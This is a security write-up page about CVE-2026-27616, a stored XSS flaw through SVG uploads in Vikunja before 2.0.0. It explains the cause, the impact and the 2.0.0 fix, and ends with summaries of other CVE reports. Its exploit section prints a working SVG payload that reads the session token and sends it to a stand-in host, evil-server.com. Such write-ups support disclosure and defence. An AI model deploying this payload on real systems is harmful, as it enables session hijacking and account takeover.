CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27616

Vikunja's Vector of Doom: Stored XSS via SVG

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 26, 2026·5 min read·48 visits

Executive Summary (TL;DR)

Vikunja versions prior to 2.0.0 failed to sanitize SVG uploads or enforce download headers. This allows authenticated users to upload malicious SVG files containing JavaScript. When a victim views the file, the script executes in their session context, leading to immediate account takeover.

A critical Stored Cross-Site Scripting (XSS) vulnerability in Vikunja allows attackers to hijack sessions via malicious SVG attachments. By exploiting loose MIME type handling and inline rendering, an attacker can turn a simple task list into a weaponized payload delivery system.

The Hook: Organizing Your Own Demise

Vikunja is the darling of the self-hosted productivity world. It’s a slick, modern way to organize your life, tasks, and projects. But as we've learned time and time again in web security, the more features you add to a file upload handler, the more likely you are to shoot yourself in the foot.

In versions prior to the massive 2.0.0 overhaul, Vikunja had a classic blind spot. It treated file uploads with a level of trust that borders on negligence. Specifically, it allowed users to upload Scalable Vector Graphics (SVG) files. To a developer, an SVG is just an image. To a browser, an SVG is a fully functional XML document capable of executing JavaScript.

This vulnerability isn't just a glitch; it's a fundamental misunderstanding of how browsers handle content types. By allowing users to upload these 'images' and then serving them back without strict security headers, Vikunja effectively granted every user the ability to host a malicious webpage on the application's domain.

The Flaw: When an Image isn't an Image

The root cause here is a tale as old as the web: MIME Type Confusion and Content-Disposition failure.

When a server sends a file to a browser, it tells the browser what that file is via the Content-Type header. If the server says image/svg+xml, the browser sees an XML document. Unlike a PNG or JPEG, which are static binary blobs, an SVG is parsed by the browser's DOM engine. If that SVG contains a <script> tag, the browser executes it.

The only thing stopping this execution is the Content-Disposition header. If set to attachment, the browser forces a download, neutralizing the threat. Vikunja, however, was happy to serve these files inline. This meant that if you navigated to the URL of an uploaded attachment, the browser would render it directly in the viewport, executing any embedded payloads within the origin of the Vikunja instance.

To make matters worse, there appears to be a race condition in how files were processed or cached, creating a window where even files that should have been safe might be rendered incorrectly. It’s the perfect storm of trusting user input and trusting browser behavior.

The Exploit: From Upload to Account Takeover

Exploiting this is trivially easy for anyone with a basic text editor. We don't need buffer overflows or heap grooming here; we just need valid XML.

The attacker creates a file named payload.svg. Inside, they define a standard SVG structure but inject a JavaScript payload. Since Vikunja uses localStorage to persist session tokens (a common but risky practice), the attacker's script targets that specifically.

Here is the anatomy of the attack vector:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <!-- A harmless looking shape to distract the user -->
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  <script type="text/javascript">
    // The payload
    var token = localStorage.getItem('token');
    // Exfiltrate to attacker's server
    fetch('https://evil-server.com/collect?t=' + token);
    alert('Session hijacked!');
  </script>
</svg>

Once this file is uploaded to a task, the attacker simply shares the link or waits for a curious admin to view the attachments. The moment the admin clicks the file, the script runs, the token flies across the wire to the attacker, and the admin's session is cloned.

The Impact: Total Compromise

Why is this a high-severity issue (CVSS 7.3)? Because in a modern Single Page Application (SPA) like Vikunja, the frontend API token is the key to the kingdom.

  1. Session Hijacking: With the exfiltrated token, the attacker can import it into their own browser and effectively become the victim without ever knowing their password.
  2. Persistent Access: If the victim is an administrator, the attacker can create new admin accounts, change settings, or delete the entire database.
  3. Wormability: The attacker could script the stolen session to automatically post the malicious SVG to every other project the victim has access to, creating a self-propagating XSS worm within the organization.

This isn't just about reading someone's grocery list; it's about compromising the integrity of the entire project management infrastructure.

The Fix: Cleaning Up the Mess

The remediation in Vikunja v2.0.0 is two-fold: code changes and data repair.

First, the developers implemented strict MIME type enforcement. The application now correctly identifies SVG files and forces them to be treated as downloads (using Content-Disposition: attachment) rather than inline content. This prevents the browser from rendering the XML and executing the script.

Second, because existing files in the database are already tainted with the wrong metadata, a simple code update isn't enough. The developers provided a specific CLI command to scrub the database:

vikunja repair file-mime-types

This command iterates through the files table, re-evaluates the file signatures, and updates their stored MIME types to ensure the new security logic applies to old uploads. If you upgrade the binary but fail to run this command, you are leaving the back door unlocked.

Official Patches

VikunjaVikunja v2.0.0 Release Notes

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Affected Systems

Vikunja (Self-Hosted)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Vikunja
Vikunja
< 2.0.02.0.0
AttributeDetail
CWECWE-79 (Stored XSS)
CVSS7.3 (High)
Attack VectorNetwork
PrivilegesLow (Authenticated)
User InteractionRequired (Click link)
Exploit MaturityPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Stored Cross-Site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GHSAAdvisory containing PoC payload structure.

Vulnerability Timeline

Vulnerability Disclosed
2026-02-25
Vikunja v2.0.0 Released (Fixed)
2026-02-25
PoC Released
2026-02-25

References & Sources

  • [1]GHSA-7jp5-298q-jg98

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 7 hours ago•CVE-2026-48861
2.1

CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint

CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 8 hours ago•CVE-2026-49753
6.3

CVE-2026-49753: HTTP Request/Response Smuggling via Inconsistent Content-Length Parsing in Elixir Mint Client

An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 8 hours ago•CVE-2026-49754
8.2

CVE-2026-49754: Denial of Service via Unbounded HTTP/2 CONTINUATION Frame Accumulation in Elixir Mint

An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 9 hours ago•CVE-2026-48596
2.1

CVE-2026-48596: Improper Neutralization of CRLF Sequences in Elixir Tesla Multipart HTTP Client

CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.

Alon Barad
Alon Barad
5 views•6 min read
•about 9 hours ago•CVE-2026-48594
8.2

CVE-2026-48594: Decompression Bomb Denial of Service in Elixir Tesla HTTP Client

An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 10 hours ago•CVE-2026-48595
8.2

CVE-2026-48595: Cross-Origin Credential Leakage in Elixir Tesla Client via Case-Sensitive Redirect Filter Bypass

A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.

Alon Barad
Alon Barad
6 views•5 min read